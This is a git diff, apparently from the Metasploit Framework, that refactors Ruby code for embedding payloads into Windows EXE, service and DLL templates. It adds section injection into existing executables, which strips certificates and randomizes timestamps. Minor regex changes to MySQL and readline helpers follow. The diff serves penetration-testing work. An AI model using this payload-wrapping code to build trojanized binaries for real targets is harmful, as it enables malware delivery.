|
||||
File.open(opts[:template], 'rb') { |fd|
|
||||
exe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
#New file header with updated number of sections and timedatestamp
|
||||
new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct
|
||||
new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE])
|
||||
new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1
|
||||
new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000)
|
||||
exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s
|
||||
|
||||
#new optional header with new entry point, size of image, and size of code
|
||||
new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct
|
||||
new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader])
|
||||
new_opthead.v['AddressOfEntryPoint'] = start_rva
|
||||
new_opthead.v['SizeOfImage'] = free_rva + new_sec.length
|
||||
new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length
|
||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s
|
||||
#kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
|
||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8
|
||||
#kill certificate; if it exists, we just invalidated it
|
||||
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8
|
||||
|
||||
#new section header and new section
|
||||
exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s
|
||||
exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec
|
||||
exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1)
|
||||
|
||||
cks = pe.hdr.opt.CheckSum
|
||||
if(cks != 0)
|
||||
exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
|
||||
end
|
||||
|
||||
pe.close
|
||||
|
||||
injector = Msf::Exe::SegmentInjector.new({
|
||||
:payload => code,
|
||||
:template => opts[:template],
|
||||
:arch => :x86
|
||||
})
|
||||
exe = injector.generate_pe
|
||||
return exe
|
||||
end
|
||||
|
||||
|
@ -458,168 +392,100 @@ require 'digest/sha1'
|
|||
return pe
|
||||
end
|
||||
|
||||
def self.to_win32pe_exe_sub(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x86_windows.exe")
|
||||
def self.exe_sub_method(code,opts ={})
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
|
||||
case opts[:exe_type]
|
||||
when :service_exe
|
||||
max_length = 8192
|
||||
name = opts[:servicename]
|
||||
|
||||
if (code.length <= 4096)
|
||||
if name
|
||||
bo = pe.index('SERVICENAME')
|
||||
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
||||
pe[bo, 11] = [name].pack('a11')
|
||||
end
|
||||
|
||||
if not opts[:sub_method]
|
||||
pe[136, 4] = [rand(0x100000000)].pack('V')
|
||||
end
|
||||
when :dll
|
||||
max_length = 2048
|
||||
when :exe_sub
|
||||
max_length = 4096
|
||||
end
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= max_length)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
|
||||
raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
if opts[:exe_type] == :dll
|
||||
mt = pe.index('MUTEX!!!')
|
||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
||||
end
|
||||
|
||||
return pe
|
||||
end
|
||||
|
||||
def self.to_win32pe_exe_sub(framework, code, opts={})
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x86_windows.exe")
|
||||
opts[:exe_type] = :exe_sub
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win64pe(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own EXE template
|
||||
set_template_default(opts, "template_x64_windows.exe")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 4096)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
|
||||
#try to inject code into executable by adding a section without affecting executable behavior
|
||||
if(opts[:inject])
|
||||
injector = Msf::Exe::SegmentInjector.new({
|
||||
:payload => code,
|
||||
:template => opts[:template],
|
||||
:arch => :x64
|
||||
})
|
||||
exe = injector.generate_pe
|
||||
return exe
|
||||
end
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :exe_sub
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win32pe_service(framework, code, opts={})
|
||||
|
||||
name = opts[:servicename]
|
||||
|
||||
# Allow the user to specify their own service EXE template
|
||||
set_template_default(opts, "template_x86_windows_svc.exe")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], 'rb') { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 8192)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
if name
|
||||
bo = pe.index('SERVICENAME')
|
||||
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
||||
pe[bo, 11] = [name].pack('a11')
|
||||
end
|
||||
|
||||
if not opts[:sub_method]
|
||||
pe[136, 4] = [rand(0x100000000)].pack('V')
|
||||
end
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :service_exe
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win64pe_service(framework, code, opts={})
|
||||
|
||||
name = opts[:servicename]
|
||||
|
||||
# Allow the user to specify their own service EXE template
|
||||
set_template_default(opts, "template_x64_windows_svc.exe")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 8192)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
if name
|
||||
bo = pe.index('SERVICENAME')
|
||||
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
||||
pe[bo, 11] = [name].pack('a11')
|
||||
end
|
||||
|
||||
if not opts[:sub_method]
|
||||
pe[136, 4] = [rand(0x100000000)].pack('V')
|
||||
end
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :service_exe
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win32pe_dll(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x86_windows.dll")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 2048)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
# optional mutex
|
||||
mt = pe.index('MUTEX!!!')
|
||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :dll
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win64pe_dll(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x64_windows.dll")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 2048)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
# optional mutex
|
||||
mt = pe.index('MUTEX!!!')
|
||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :dll
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_osx_arm_macho(framework, code, opts={})
|
||||
|
|
|
@ -280,7 +280,7 @@ class RbMysql
|
|||
# In Ruby 1.8, this is not safe for multibyte charset such as 'SJIS'.
|
||||
# You should use place-holder in prepared-statement.
|
||||
def escape_string(str)
|
||||
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s|
|
||||
str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
|
||||
case s
|
||||
when "\0" then "\\0"
|
||||
when "\n" then "\\n"
|
||||
|
|
|
@ -32,7 +32,7 @@ class RbMysql
|
|||
alias get_client_info client_info
|
||||
|
||||
def escape_string(str)
|
||||
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s|
|
||||
str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
|
||||
case s
|
||||
when "\0" then "\\0"
|
||||
when "\n" then "\\n"
|
||||
|
|
|
@ -5272,7 +5272,7 @@ module RbReadline
|
|||
# Actually update the display, period.
|
||||
def rl_forced_update_display()
|
||||
if (@visible_line)
|
||||
@visible_line.gsub!(/[^\x00]/,0.chr)
|
||||
@visible_line.gsub!(/[^\x00]/n,0.chr)
|
||||
end
|
||||
rl_on_new_line()
|
||||
@forced_display=true if !@forced_display
|
||||
|
@ -8520,7 +8520,7 @@ module RbReadline
|
|||
count -= 1
|
||||
end
|
||||
|
||||
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/,'') : string
|
||||
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/n,'') : string
|
||||
|
||||
case @encoding
|
||||
when 'E'
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue